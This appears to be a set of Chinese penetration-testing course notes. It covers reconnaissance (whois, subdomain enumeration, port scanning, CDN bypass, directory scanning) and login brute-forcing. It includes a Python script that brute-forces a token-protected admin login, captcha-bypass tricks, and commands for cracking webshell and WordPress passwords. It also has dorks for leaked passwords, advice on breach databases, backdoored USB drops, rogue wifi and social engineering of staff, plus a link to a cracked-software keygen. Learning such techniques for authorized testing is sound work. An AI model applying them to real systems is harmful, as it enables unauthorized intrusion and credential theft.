渗透测试


渗透测试信息收集

host 配置

image-20220924123245160

添加虚拟机ip 做 dns服务器

判断登录状态

状态码返回字符串长度

1. 信息收集的分类

1)服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)
2)网站指纹识别(包括,cms,cdn,证书等) dns记录
3)whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)
4)子域名收集,旁站,C段等
5)google hacking针对化搜索,word/电子表格/pdf文件,中间件版本,弱口令扫描等
6)扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等
7)传输协议,通用漏洞,exp,github源码等
1. 常见的方法有

1.whois 查询

查询备案号,企业信息,whois反查

2.收集子域名

moonsec.com 根域名 顶级域名
www.moonsec.com子域名 也叫二级域名
www.wiki.moonsec.com  子域名 也叫三级域名 四级如此类推

3.端口扫描

4.查找真实ip

探测旁站,c站

6.网络搜索引擎

7.扫描敏感文件目录

8.指纹识别

cms管理系统

1. 在线whois查询

站长之家域名WHOIS信息查询地址 http://whois.chinaz.com/

爱站网域名WHOIS信息查询地址 https://whois.aizhan.com/

腾讯云域名WHOIS信息查询地址 https://whois.cloud.tencent.com/

美橙互联域名WHOIS信息查询地址 https://whois.cndns.com/

爱名网域名WHOIS信息查询地址 https://www.22.cn/domain/

易名网域名WHOIS信息查询地址 https://whois.ename.net/

中国万网域名WHOIS信息查询地址 https://whois.aliyun.com/

西部数码域名WHOIS信息查询地址 https://whois.west.cn/

新网域名WHOIS信息查询地址 http://whois.xinnet.com/domain/whois/index.jsp

纳网域名WHOIS信息查询地址 http://whois.nawang.cn/

中资源域名WHOIS信息查询地址 https://www.zzy.cn/domain/whois.html

三五互联域名WHOIS信息查询地址 https://cp.35.com/chinese/whois.php

新网互联域名WHOIS信息查询地址 http://www.dns.com.cn/show/domain/whois/index.do

国外WHOIS信息查询地址 https://who.is/

1.1. 在线网站备案查询

1.天眼查 https://www.tianyancha.com/
2.ICP备案查询网http://www.beianbeian.com/
3.爱站备案查询https://icp.aizhan.com/
4.域名助手备案信息查询 http://cha.fute.com/index

1. 收集子域名

常用方式

1.FOFA title="公司名称"
2.百度 intitle=公司名称
3.Google intitle=公司名称 
4.站长之家,直接搜索名称或者网站域名即可查看相关信息:
http://tool.chinaz.com/
5.钟馗之眼 site=域名即可
https://www.zoomeye.org/

域名类型

A记录、别名记录(CNAME)、MX记录、TXT记录、NS记录:

address记录

是用来指定主机名(或域名)对应的IP地址记录。用户可以将该域名下的网站服务器指向到自己的web server上。同时也可以设置您域名的二级域名

别名

也被称为规范名字。这种记录允许您将多个名字映射到同一台计算机。通常用于同时提供WWW和MAIL服务的计算机。例如,有一台计算机名为“host.mydomain.com”(A记录)。它同时提供WWW和MAIL服务,为了便于用户访问服务。可以为该计算机设置两个别名(CNAME):WWW和MAIL。这两个别名的全称就是“www.mydomain.com”和“mail.mydomain.com”。实际上他们都指向“host.mydomain.com”。同样的方法可以用于当您拥有多个域名需要指向同一服务器IP,此时您就可以将一个域名做A记录指向服务器IP然后将其他的域名做别名到之前做A记录的域名上,那么当您的服务器IP地址变更时您就可以不必麻烦的一个一个域名更改指向了 只需要更改做A记录的那个域名其他做别名的那些域名的指向也将自动更改到新的IP地址上了。

检测cname

1、进入命令状态;(开始菜单 - 运行 - CMD[回车]);
2、输入命令" nslookup -q=cname 这里填写对应的域名或二级域名",查看返回的结果与设置的是否一致即可。 

MX(Mail Exchanger)记录:

是邮件交换记录,它指向一个邮件服务器,用于电子邮件系统发邮件时根据 收信人的地址后缀来定位邮件服务器。例如,当Internet上的某用户要发一封信给 user@mydomain.com 时,该用户的邮件系统通过DNS查找mydomain.com这个域名的MX记录,如果MX记录存在, 用户计算机就将邮件发送到MX记录所指定的邮件服务器上。

什么是TXT记录?:

TXT记录一般指为某个主机名或域名设置的说明,如:
1)admin IN TXT "jack, mobile:13800138000";
2)mail IN TXT "邮件主机, 存放在xxx ,管理人:AAA",Jim IN TXT "contact: abc@mailserver.com"
也就是您可以设置 TXT ,以便使别人联系到您。

如何检测TXT记录?
1、进入命令状态;(开始菜单 - 运行 - CMD[回车]);
2、输入命令" nslookup -q=txt 这里填写对应的域名或二级域名",查看返回的结果与设置的是否一致即可。

什么是NS记录?

ns记录全称为Name Server 是一种域名服务器记录,用来明确当前你的域名是由哪个DNS服务器来进行解析的。

在线查询子域名

https://phpinfo.me/domain/
https://www.t1h2ua.cn/tools/

dns侦测

https://dnsdumpster.com/

IP138查询子域名

https://site.ip138.com/moonsec.com/domain.htm

FOFA搜索子域名

https://fofa.so/
语法:domain="baidu.com"
提示:以上两种方法无需爆破,查询速度快,需要快速收集资产时可以优先使用,后面再用其他方法补充。

Hackertarget查询子域名

https://hackertarget.com/find-dns-host-records/
注意:通过该方法查询子域名可以得到一个目标大概的ip段,接下来可以通过ip来收集信息。

360测绘空间

https://quake.360.cn/
domain:"*.freebuf.com"

Layer子域名挖掘机

SubDomainBrute

pip install aiodns
运行命令subDomainsBrute.py freebuf.com  
subDomainsBrute.py  freebuf.com --full -o freebuf2.txt

Sublist3r

https://github.com/aboul3la/Sublist3r
pip install -r requirements.txt
提示:以上方法为爆破子域名,由于字典比较强大,所以效率较高。
帮助文档
usage: sublist3r.py [-h] -d DOMAIN [-b [BRUTEFORCE]] [-p PORTS] [-v [VERBOSE]]
                    [-t THREADS] [-e ENGINES] [-o OUTPUT] [-n]

OPTIONS:
  -h, --help            show this help message and exit
  -d DOMAIN, --domain DOMAIN
                        Domain name to enumerate it's subdomains
  -b [BRUTEFORCE], --bruteforce [BRUTEFORCE]
                        Enable the subbrute bruteforce module
  -p PORTS, --ports PORTS
                        Scan the found subdomains against specified tcp ports
  -v [VERBOSE], --verbose [VERBOSE]
                        Enable Verbosity and display results in realtime
  -t THREADS, --threads THREADS
                        Number of threads to use for subbrute bruteforce
  -e ENGINES, --engines ENGINES
                        Specify a comma-separated list of search engines
  -o OUTPUT, --output OUTPUT
                        Save the results to text file
  -n, --no-color        Output without color

Example: python sublist3r.py -d google.com
中文翻译
-h :帮助
-d :指定主域名枚举子域名
-b :调用subbrute暴力枚举子域名
-p :指定tpc端口扫描子域名
-v :显示实时详细信息结果
-t :指定线程
-e :指定搜索引擎
-o :将结果保存到文本
-n :输出不带颜色 

默认参数扫描子域名
python sublist3r.py -d baidu.com 
 
使用暴力枚举子域名
python sublist3r -b -d baidu.com 

6.4.4.python2.7.14 环境
;C:\Python27;C:\Python27\Scripts

OneForALL

pip3 install --user -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/

python3 oneforall.py --target baidu.com run /*收集*/
Example:
brute.py --target domain.com --word True run
brute.py --targets ./domains.txt --word True run
brute.py --target domain.com --word True --concurrent 2000 run
brute.py --target domain.com --word True --wordlist subnames.txt run
brute.py --target domain.com --word True --recursive True --depth 2 run
brute.py --target d.com --fuzz True --place m.*.d.com --rule '[a-z]' run
brute.py --target d.com --fuzz True --place m.*.d.com --fuzzlist subnames.txt run

Wydomain

dnsburte.py -d aliyun.com -f dnspod.csv -o aliyun.log
wydomain.py -d aliyun.com 


FuzzDomain

image-20220926170842816

隐藏域名hosts碰撞

隐藏资产探测-hosts碰撞
https://mp.weixin.qq.com/s/fuASZODw1rLvgT7GySMC8Q
很多时候访问目标资产IP响应多为:401、403、404、500,但是用域名请求却能返回正常的业务系统(禁止IP直接访问),因为这大多数都是需要绑定host才能正常请求访问的 (目前互联网公司基本的做法)(域名删除了A记录,但是反代的配置未更新),那么我们就可以通过收集到的目标的 域名 和 目标资产 的IP段组合起来,以 IP段+域名 的形式进行捆绑碰撞,就能发现很多有意思的东西。

在发送http请求的时候,对域名和IP列表进行配对,然后遍历发送请求 (就相当于修改了本地的hosts文件一样),并把相应的title和响应包大小拿回 来做对比,即可快速发现一些隐蔽的资产。

进行hosts碰撞需要目标的域名和目标的相关IP作为字典
域名就不说了
相关IP来源有:

目标域名历史解析IP
https://site.ip138.com/
https://ipchaxun.com/
ip正则
https://www.aicesu.cn/reg/

端口扫描

当确定了目标大概的ip段后,可以先对ip的开放端口进行探测,一些特定服务可能开起在默认端口上,探测开放端口有利于快速收集目标资产,找到目标网站的其他功能站点。

msscan端口扫描

msscan -p 1-65535 ip --rate=1000
https://gitee.com/youshusoft/GoScanner/

御剑端口扫描工具

image-20220926171030894

nmap扫描端口和探测端口信信息

nmap -sV 192.168.0.2
nmap -sT 92.168.0.2
nmap -Pn -A -sC 192.168.0.2
nmap -sU -sT -p0-65535 192.168.122.1
用于扫描目标主机服务版本号与开放的端口

如果需要扫描多个ip或ip段,可以将他们保存到一个txt文件中
nmap -iL ip.txt
来扫描列表中所有的ip。
Nmap为端口探测最常用的方法,操作方便,输出结果非常直观

在线端口检测

http://coolaf.com/tool/port

端口扫描器

7.6.渗透端口
21,22,23,1433,152,3306,3389,5432,5900,50070,50030,50000,27017,27018,11211,9200,9300,7001,7002,6379,5984,873,443,8000-9090,80-89,80,10000,8888,8649,8083,8080,8089,9090,7778,7001,7002,6082,5984,4440,3312,3311,3128,2601,2604,2222,2082,2083,389,88,512,513,514,1025,111,1521,445,135,139,53
7.7.渗透常见端口及对应服务
1.web类(web漏洞/敏感目录)
第三方通用组件漏洞struts thinkphp jboss ganglia zabbix
80 web 
80-89 web 
8000-9090 web

2.数据库类(扫描弱口令)

1433 MSSQL 
1521 Oracle 
3306 MySQL 
5432 PostgreSQL 

3.特殊服务类(未授权/命令执行类/漏洞)

443 SSL心脏滴血 
873 Rsync未授权 
5984 CouchDB http://xxx:5984/_utils/ 
6379 redis未授权 
7001,7002 WebLogic默认弱口令,反序列 
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 
11211 memcache未授权访问 
27017,27018 Mongodb未授权访问 
50000 SAP命令执行 
50070,50030 hadoop默认端口未授权访问

.常用端口类(扫描弱口令/端口爆破)

21 ftp 
22 SSH 
23 Telnet 
2601,2604 zebra路由,默认密码zebra
3389 远程桌面

5.端口合计详情

21 ftp 
22 SSH 
23 Telnet 
80 web 
80-89 web 
161 SNMP 
389 LDAP 
443 SSL心脏滴血以及一些web漏洞测试 
445 SMB 
 
512,513,514 Rexec 
873 Rsync未授权 
1025,111 NFS 
1433 MSSQL 
1521 Oracle:(iSqlPlus Port:5560,7778) 
2082/2083 cpanel主机管理系统登陆 (国外用较多)
2222 DA虚拟主机管理系统登陆 (国外用较多) 
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了 
3306 MySQL 
3312/3311 kangle主机管理系统登陆 
3389 远程桌面 
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网 
5432 PostgreSQL 
5900 vnc 
5984 CouchDB http://xxx:5984/_utils/ 
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网 
6379 redis未授权 
7001,7002 WebLogic默认弱口令,反序列 
7778 Kloxo主机控制面板登录 
8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上 
8080 tomcat/WDCP主机管理系统,默认弱口令 
8080,8089,9090 JBOSS 
8083 Vestacp主机管理系统 (国外用较多) 
8649 ganglia 
8888 amh/LuManager 主机管理系统默认端口 
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 
10000 Virtualmin/Webmin 服务器虚拟主机管理系统 
11211 memcache未授权访问 
27017,27018 Mongodb未授权访问 
28017 mongodb统计页面 
50000 SAP命令执行 
50070,50030 hadoop默认端口未授权访问
 

查找真实ip

http://ping.chinaz.com/
http://ping.aizhan.com/

查询历史DNS解析记录

在查询到的历史解析记录中,最早的历史解析ip很有可能记录的就是真实ip,快速查找真实IP推荐此方法,但并不是所有网站都能查到

DNSDB

https://dnsdb.io/zh-cn/

https://x.threatbook.cn/ 微步在线

https://tools.ipip.net/cdn.php Ipip.net

https://viewdns.info/ viewdns

8.3.phpinfo

如果目标网站存在phpinfo泄露等,可以在phpinfo中的SERVER_ADDR或_SERVER[“SERVER_ADDR"]找到真实ip
8.4.绕过CDN
绕过CDN的多种方法具体可以参考 https://www.cnblogs.com/qiudabai/p/9763739.html

旁站和C段

站长之家
同ip网站查询http://stool.chinaz.com/same
https://chapangzhan.com/
9.2.google hacking
https://blog.csdn.net/qq_36119192/article/details/84029809

在线c段 webscan.cc

webscan.cc

https://c.webscan.cc/

c段利用脚本
pip install requests
#coding:utf-8
import requests
import json

def get_c(ip):
    print("正在收集{}".format(ip))
    url="http://api.webscan.cc/?action=query&ip={}".format(ip)
    req=requests.get(url=url)
    html=req.text
    data=req.json()
    if 'null' not in html:
        with open("resulit.txt", 'a', encoding='utf-8') as f:
            f.write(ip + '\n')
            f.close()
        for i in data:
            with open("resulit.txt", 'a',encoding='utf-8') as f:
                f.write("\t{} {}\n".format(i['domain'],i['title']))
                print("     [+] {} {}[+]".format(i['domain'],i['title']))
                f.close()

def get_ips(ip):
    iplist=[]
    ips_str = ip[:ip.rfind('.')]
    for ips in range(1, 256):
        ipadd=ips_str + '.' + str(ips)
        iplist.append(ipadd)
    return iplist


ip=input("请你输入要查询的ip:")

ips=get_ips(ip)
for p in ips:
    get_c(p)

Nmap,Msscan扫描等

例如:nmap -p 80,443,8000,8080 -Pn 192.168.0.0/24

9.2.4. 常见端口表

21,22,23,80-90,161,389,443,445,873,1099,1433,1521,1900,2082,2083,2222,2601,2604,3128,3306,3311,3312,3389,4440,4848,5432,5560,5900,5901,5902,6082,6379,7001-7010,7778,8080-8090,8649,8888,9000,9200,10000,11211,27017,28017,50000,50030,50060,135,139,445,53,88
注意:探测C段时一定要确认ip是否归属于目标,因为一个C段中的所有ip不一定全部属于目标。

10.网络空间搜索引擎

如果想要在短时间内快速收集资产,那么利用网络空间搜索引擎是不错的选择,可以直观地看到旁站,端口,站点标题,IP等信息,点击列举出站点可以直接访问,以此来判断是否为自己需要的站点信息。FOFA的常用语法

1、同IP旁站:ip="192.168.0.1"
2、C段:ip="192.168.0.0/24"
3、子域名:domain="baidu.com"
4、标题/关键字:title="百度"
5、如果需要将结果缩小到某个城市的范围,那么可以拼接语句
 title="百度"&& region="Beijing"
6、特征:body="百度"或header="baidu"

扫描敏感目录/文件

11.1.御剑

https://www.fujieace.com/hacker/tools/yujian.html

11.2.7kbstorm
https://github.com/7kbstorm/7kbscan-WebPathBrute

bbscan

https://github.com/lijiejie/BBScan
在pip已经安装的前提下,可以直接:
pip install -r requirements.txt
使用示例: 
1. 扫描单个web服务 www.target.com
python BBScan.py  --host www.target.com
2. 扫描www.target.com和www.target.com/28下的其他主机
python BBScan.py  --host www.target.com --network 28 
3. 扫描txt文件中的所有主机
python BBScan.py -f wandoujia.com.txt
4. 从文件夹中导入所有的主机并扫描
python BBScan.py -d targets/
–network 参数用于设置子网掩码,小公司设为28~30,中等规模公司设置26~28,大公司设为24~26 
当然,尽量避免设为24,扫描过于耗时,除非是想在各SRC多刷几个漏洞。 
该插件是从内部扫描器中抽离出来的,感谢 Jekkay Hu<34538980[at]qq.com>

如果你有非常有用的规则,请找几个网站验证测试后,再 pull request 
脚本还会优化,接下来的事:

增加有用规则,将规则更好地分类,细化 
后续可以直接从 rules\request 文件夹中导入HTTP_request 

dirmap

pip install -r requirement.txt

https://github.com/H4ckForJob/dirmap
单个目标
python3 dirmap.py -i https://target.com -lcf
多个目标
python3 dirmap.py -iF urls.txt -lcf

dirsearch

https://gitee.com/Abaomianguan/dirsearch.git
unzip dirsearch.zip
python3 dirsearch.py -u http://m.scabjd.com/ -e * 

gobuster

sudo apt-get install gobuster 
gobuster dir -u https://www.servyou.com.cn/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 50

dir -u 网址 w字典 -x 指定后缀 -t 线程数量
dir -u https://www.servyou.com.cn/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "php,html,rar,zip" -d --wildcard -o servyou.log | grep ^"3402"

网站文件

1. robots.txt
2. crossdomin.xml
3. sitemap.xml
4. 后台目录
5. 网站安装包
6. 网站上传目录
7. mysql管理页面
8. phpinfo
9. 网站文本编辑器
10. 测试文件
11. 网站备份文件(.rar、zip、.7z、.tar.gz、.bak)
12. DS_Store 文件
13. vim编辑器备份文件(.swp)
14. WEB—INF/web.xml文件
15 .git
16 .svn
https://www.secpulse.com/archives/55286.html

扫描网页备份

例如
config.php
config.php~
config.php.bak
config.php.swp
config.php.rar
conig.php.tar.gz

网站头信息收集

1、中间件 :web服务【Web Servers】 apache iis7 iis7.5 iis8 nginx WebLogic tomcat
2.、网站组件: js组件jquery、vue  页面的布局bootstrap
通过浏览器获取

http://whatweb.bugscaner.com/look/

curl命令查询头信息
curl https://www.moonsec.com -i

敏感文件搜索

GitHub搜索

in:name test #仓库标题搜索含有关键字test
in:descripton test #仓库描述搜索含有关键字
in:readme test #Readme文件搜素含有关键字
搜索某些系统的密码
https://github.com/search?q=smtp+58.com+password+3306&type=Code
github 关键词监控
https://www.codercto.com/a/46640.html

谷歌搜索
site:Github.com sa password
site:Github.com root password
site:Github.com User ID='sa';Password
site:Github.com inurl:sql
SVN 信息收集
site:Github.com svn
site:Github.com svn username
site:Github.com svn password
site:Github.com svn username password
综合信息收集
site:Github.com password
site:Github.com ftp ftppassword
site:Github.com 密码
site:Github.com 内部
https://blog.csdn.net/qq_36119192/article/details/99690742
http://www.361way.com/github-hack/6284.html
https://docs.github.com/cn/github/searching-for-information-on-github/searching-code

https://github.com/search?q=smtp+bilibili.com&type=code

Google-hacking

site:域名
inurl: url中存在的关键字网页
intext:网页正文中的关键词
filetype:指定文件类型

wooyun漏洞库

14.4.网盘搜索
凌云搜索  https://www.lingfengyun.com/
盘多多:http://www.panduoduo.net/
盘搜搜:http://www.pansoso.com/
盘搜:http://www.pansou.com/

14.5.社工库
名字/常用id/邮箱/密码/电话 登录 网盘 网站 邮箱 找敏感信息
tg机器人

1.1. 网站注册信息

www.reg007.com 查询网站注册信息

1.1. js敏感信息

1.1.1. jsfinder

https://gitee.com/kn1fes/JSFinder

python3 JSFinder.py -u http://www.mi.com

python3 JSFinder.py -u http://www.mi.com -d

python3 JSFinder.py -u http://www.mi.com -d -ou mi_url.txt -os mi_subdomain.txt

当你想获取更多信息的时候,可以使用-d进行深度爬取来获得更多内容,并使用命令 -ou, -os来指定URL和子域名所保存的文件名

批量指定URL和JS链接来获取里面的URL。

指定URL:

python JSFinder.py -f text.txt
指定JS:
python JSFinder.py -f text.txt -j

1.1.1. Packer-Fuzzer

寻找网站交互接口 授权key
随着WEB前端打包工具的流行,您在日常渗透测试、安全服务中是否遇到越来越多以Webpack打包器为代表的网站?这类打包器会将整站的API和API参数打包在一起供Web集中调用,这也便于我们快速发现网站的功能和API清单,但往往这些打包器所生成的JS文件数量异常之多并且总JS代码量异常庞大(多达上万行),这给我们的手工测试带来了极大的不便,Packer Fuzzer软件应运而生。

本工具支持自动模糊提取对应目标站点的API以及API对应的参数内容,并支持对:未授权访问、敏感信息泄露、CORS、SQL注入、水平越权、弱口令、任意文件上传七大漏洞进行模糊高效的快速检测。在扫描结束之后,本工具还支持自动生成扫描报告,您可以选择便于分析的HTML版本以及较为正规的doc、pdf、txt版本。
sudo apt-get install nodejs && sudo apt-get install npm
git clone https://gitee.com/keyboxdzd/Packer-Fuzzer.git
pip3 install -r requirements.txt
python3 PackerFuzzer.py -u https://www.liaoxuefeng.com  

SecretFinder

一款基于Python脚本的JavaScript敏感信息搜索工具
https://gitee.com/mucn/SecretFinder
python3 SecretFinder.py -i https://www.moonsec.com/ -e

15.cms识别

15.cms识别
收集好网站信息之后,应该对网站进行指纹识别,通过识别指纹,确定目标的cms及版本,方便制定下一步的测试计划,可以用公开的poc或自己累积的对应手法等进行正式的渗透测试。

15.1.云悉

http://www.yunsee.cn/info.html

15.2.潮汐指纹

http://finger.tidesec.net/

15.3.CMS指纹识别
http://whatweb.bugscaner.com/look/
https://github.com/search?q=cms识别

1.1. 御剑cms识别

https://github.com/ldbfpiaoran/cmscan

https://github.com/theLSA/cmsIdentification/

16.非常规操作
1、如果找到了目标的一处资产,但是对目标其他资产的收集无处下手时,可以查看一下该站点的body里是否有目标的特征,然后利用网络空间搜索引擎(如fofa等)对该特征进行搜索,如:body=”XX公司”或body=”baidu”等。

该方式一般适用于特征明显,资产数量较多的目标,并且很多时候效果拔群。

2、当通过上述方式的找到test.com的特征后,再进行body的搜索,然后再搜索到test.com的时候,此时fofa上显示的ip大概率为test.com的真实IP。

3、如果需要对政府网站作为目标,那么在批量获取网站首页的时候,可以用上
http://114.55.181.28/databaseInfo/index
之后可以结合上一步的方法进行进一步的信息收集。

17.SSL/TLS证书查询

17.SSL/TLS证书查询
SSL/TLS证书通常包含域名、子域名和邮件地址等信息,结合证书中的信息,可以更快速地定位到目标资产,获取到更多目标资产的相关信息。
https://myssl.com/
https://crt.sh
https://censys.io
https://developers.facebook.com/tools/ct/
https://google.com/transparencyreport/https/ct/


SSL证书搜索引擎:
https://certdb.com/domain/github.com
https://crt.sh/?Identity=%.moonsec.com
https://censys.io/
GetDomainsBySSL.py

19.2.app软件搜索

https://www.qimai.cn/


20.社交信息搜索

QQ群 QQ手机号
微信群 
领英
https://www.linkedin.com/
脉脉招聘
boss招聘


21.js敏感文件

https://github.com/m4ll0k/SecretFinder
https://github.com/Threezh1/JSFinder
https://github.com/rtcatc/Packer-Fuzzer

22.github信息泄露监控

https://github.com/0xbug/Hawkeye
https://github.com/MiSecurity/x-patrol
https://github.com/VKSRC/Github-Monitor

23.防护软件收集
安全防护 云waf、硬件waf、主机防护软件、软waf

24.社工相关
微信或者QQ 混入内部群,蹲点观测。加客服小姐姐发一些连接。进一步获取敏感信息。测试产品,购买服务器,拿去测试账号和密码。

25.物理接触
到企业办公层连接wifi,连同内网。丢一些带有后门的usb 开放免费的wifi截取账号和密码。

26.社工库
在tg找社工机器人 查找密码信息  或本地的社工库查找邮箱或者用户的密码或密文。组合密码在进行猜解登录。


27.资产收集神器
ARL(Asset Reconnaissance Lighthouse)资产侦察灯塔系统
https://github.com/TophantTechnology/ARL
AssetsHunter
https://github.com/rabbitmask/AssetsHunter
一款用于src资产信息收集的工具
https://github.com/sp4rkw/Reaper
domain_hunter_pro
https://github.com/bit4woo/domain_hunter_pro

LangSrcCurise
https://github.com/shellsec/LangSrcCurise
网段资产
https://github.com/colodoo/midscan

28.工具

Fuzz字典推荐:https://github.com/TheKingOfDuck/fuzzDicts
BurpCollector(BurpSuite参数收集插件):https://github.com/TEag1e/BurpCollector
Wfuzz:https://github.com/xmendez/wfuzz
LinkFinder:https://github.com/GerbenJavado/LinkFinder
PoCBox:https://github.com/Acmesec/PoCBox

穷举篇

常见的服务

image-20220927105103212image-20220927105110262

burpsuite 穷举后台密码

burpsuite 使用方法

brupsuite 是一个安全测试套件,提供了众多的测试功能。在火狐安装插件 FoxyProxy 填写 127.0.0.1 8080 保存为 burp 开启代理

image-20220927200836842

谷歌插件

image-20220927200852846

0x00 环境与安装
2021专业版推荐使用jdk11

BP : https://portswigger.net/Burp/Releases
注册机:https://github.com/h3110w0r1d-y/BurpLoaderKeygen/releases
java sdk: https://download.java.net/openjdk/jdk11/ri/openjdk-11+28_windows-x64_bin.zip

vbs自启动脚本:
DIM objShell
DIM command
set objShell=wscript.createObject("wscript.shell")
command="java -javaagent:BurpLoaderKeygen.jar -noverify -jar burpsuite_pro_v2021.7.jar"
iReturn=objShell.Run(command, 0, TRUE)
bat脚本启动:
java -javaagent:BurpLoaderKeygen.jar -noverify -jar burpsuite_pro_v2021.12.1.jar

上面安装也可以使用
BurpSuite 2021 —— java 11
http://jdk.java.net/java-se-ri/11
BurpSuite下载:
https://portswigger.net/burp/releases
激活文件(注册机):
https://github.com/h3110w0r1d-y/BurpLoaderKeygen/releases

新建扫描对象,这里使用的是爬取与审计测试,下面protocol模块可以设定爬取的条件,即不爬取某些对象,

其他按照默认的配置,可以设置自己的UA头

设置账户密码访问

扫描结果:更详细可以点击项目的 右下角view模块,看到爬取的url信息与扫描结果

更详细的模块查看你(Target模块)

第一个模块:来自代理的实时审计(所有流量)
第二个模块:从代理(所有流量)动态被动爬行爬取结果:

爬取结果:

proxy 模块的使用

proxy是最常用的模块,拦截代理![ ](流量进行操作等

proxy----intercept模块详解
可以审计当前的请求,或者存储和发送到其他的页面进行其他的操作等

拦截当前数据包的 返回包,可以进行伪造验证等操作,在之后的渗透中会使用到

对当前输入时候的对象进行urlcode编码,一些特殊的符号会自动转换成url编码

proxy----http hitsory模块 记录请求日志功能

proxy----options模块 监听配置

添加请求拦截规则设置模块–intercept client requests
可以设置不拦截某些条件,例如不拦截请求地址后缀为jpg等,proxy会自动放行此数据包

设置:只拦截post请求

下面一个模块针对返回包的拦截条件,目前用的不是太多

自动将请求包的指定内容替换成某些内容—match and replace

Target模块使用介绍

抓取流量后,本模块起到一个辅助的作用,可以观察捕获的页面内的链接等

0x06 Repeater模块使用介绍

将数据发到sitemap 模块

数据的加解密编码等

数据的hex值修改,常用于渗透绕过等

0x07 intruder模块使用介绍
这个模块是经常是使用到的,这里将常用的模块列举出来
1.爆破的四种模式
Sniper:狙击手单点模式,将数据逐一填充到指定位置
Battering ram:将数据同时填充到多个指定位置,例A字典的数据同时填充到两个位置
Pitchfork:将每个字典逐一对称匹配,例如A字典的1号位与B字典的1号位匹配,绝不相交匹配
Cluster bomb:将每个字典逐一交叉匹配,例如A字典的所有位与B字典的所有位都匹配,

inturder payload 组合破解爆破模式:

Decoder 加解密模块

Comparer 数据对比模块

Extender-插件环境模块

添加java与python环境,后面的插件自行百度使用即可
注意!配置的python的jython环境必须要有环境变量,即在cmd环境下可以直接使用python

代理设置 User option模块

使用端口查询:

代理配置即可:

image-20220927202005949

image-20220927202040208

image-20220927202055989

有 token 防御的网站后台穷举破解密码

有的网站后台存在 token 值,这个 token 通俗的名字叫令牌,每次刷新页面都会 随机变化。提交请求时必须携带这个 token 值,可以利用这点避免后台进行直接 穷举和防止 csrf

image-20220927202426037

打开 burpsuite 刷新页面 接着 forward 放行这个数据包

image-20220927202608428

来到 Project options --> Session-- >add 添加宏

image-20220927202659632

image-20220927202720004

点击之后选择网页历史选择提交之后有 token

当我们尝试使用burpsuite直接抓包爆破后,发现全是302重定向,明显这是行不通的
在这里插入图片描述
那么我们需要在Project Option的Session上添加自动捕捉token的选项
在这里插入图片描述

运行一个宏
在这里插入图片描述
这里我们选择刚开始GET请求获取到的网页
在这里插入图片描述在这里插入图片描述

然后编辑这个选项,添加自动获取那个值选项
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里选择要更新的字段

在这里插入图片描述
然后进入Scope选项,添加URL地址
在这里插入图片描述
在这里插入图片描述
然后回到暴力破解模块,设置变量值和加载字典,并选择总是follow redirection选项
在这里插入图片描述

在这里插入图片描述

可以看到密码为password,账号为admin的响应包长度明显不同的
在这里插入图片描述
查看响应包内容发现爆破成功
在这里插入图片描述

编写脚本获取 token

#coding:utf-8
import requests
import re

url = "http://www.c3moon.com/login.php"

def login(password):
    session = requests.session()
    req=session.get(url)
    user_token=re.search("[a-z0-9]{32}",req.text).group(0) #32md5
    data={"username":"admin","password":password,"Login":"Login",'user_token':user_token}
    req=session.post(url=url,data=data,allow_redirects=True)
    html = req.text
    return html

with open('top1000.txt') as p:
    passlist =p.readlines()
    p.close()

for line in passlist:
    line = line.strip("\n")
    print(line)
    if 'File Upload' in login(line):
        print( "[* 密码 is %s *]" % line )
        break








针对有验证码后台的穷举方法

为了防止用户利用机器人自动注册、登录、灌水,都会采用验证码技术,所谓的验
证码,就是将一串随机产生的数字和符号,生成一幅图片,在图像上加上干扰像
素(防止 orc),要用户用肉眼识别其中的验证码信息,输入表单提交网站验证。
验证后使用网站某个功能.但是如果验证码逻辑编写不好会存在被绕过的风险

cookie 不存在不验证绕过

有些网站如果网站不存在 cookie 就不会验证 验证

删除 PHPSESSION 信息 验证码就不进行

破解密码成功,登录后台

.后台登录验证码没销毁进行穷举

在登录提交的时候进行验证码验证 不管密码是否正确,都要销毁验证码。
不然验证码可复用
确定的验证码

错误的验证码 导入字典进行提交

网站后台验证码识别穷举密码

登录框存在验证码 这个验证码可被识别的情况下 就会被穷举密码

将 burpsuite 的包放进验证码识别工具 设置字典和验证码

image-20220928164601064

验证码后台登录辅助

image-20220928164624293

接着选择爆破栏 选择错误的验证码关键词 设置线程 点击 start 即可 可以选择 再次爆破 验证准确率会提高

image-20220928164637218

phpmyadmin 密码穷举

phpmyadmin 是 mysql 的一个 web 管理工具,可以通过这个工具穷举 mysql 用户 的账号和密码。

image-20220928164710932

cheetah 对一句后门密码穷举
cheetah 是针对一句话后门的穷举工具
python cheetah.py -u http://orz/orz.php
python cheetah.py -u http://orz/orz.jsp -r post -n 1000 -v
python cheetah.py -u http://orz/orz.asp -r get -c -p data/pwd.list
python cheetah.py -u http://orz/orz -w aspx -s iis -n 1000
python cheetah.py -b url.list -c -p pwd1.list pwd2.list -v
cheetah.py -u http://www.c1moon.com/a.php -n 1000 -v -p data/pwd.list
cheetah.py -u http://www.c1moon.com/a.asp -n 1000 -v -p data/pwd.list
cheetah.py -u http://www.c1moon.com/a.aspx -n 1000 -v -p data/pwd.list
支持 asp php .net jsp 后门
-u 后门地址
-r 提交的方法 一般是 post
-n 一次提交密码的数量
-v 详细信息
-p 字典位置
例子
python cheetah.py -u http://www.c1moon.com/cmd.php -r post

wordpress 博客系统用户密码穷举

wordpress 是知名的博客系统,在互联网上的占有量很大,所以一定要知道这套
系统的弱口令穷举的方法。
https://wpscan.com 首先到这个网站注册账号和密码注册后获取 toke
自动找账号信息 然后登录穷举
wpscan --url http://www.redteam.com/ -e u -P /home/kali/top100password.txt
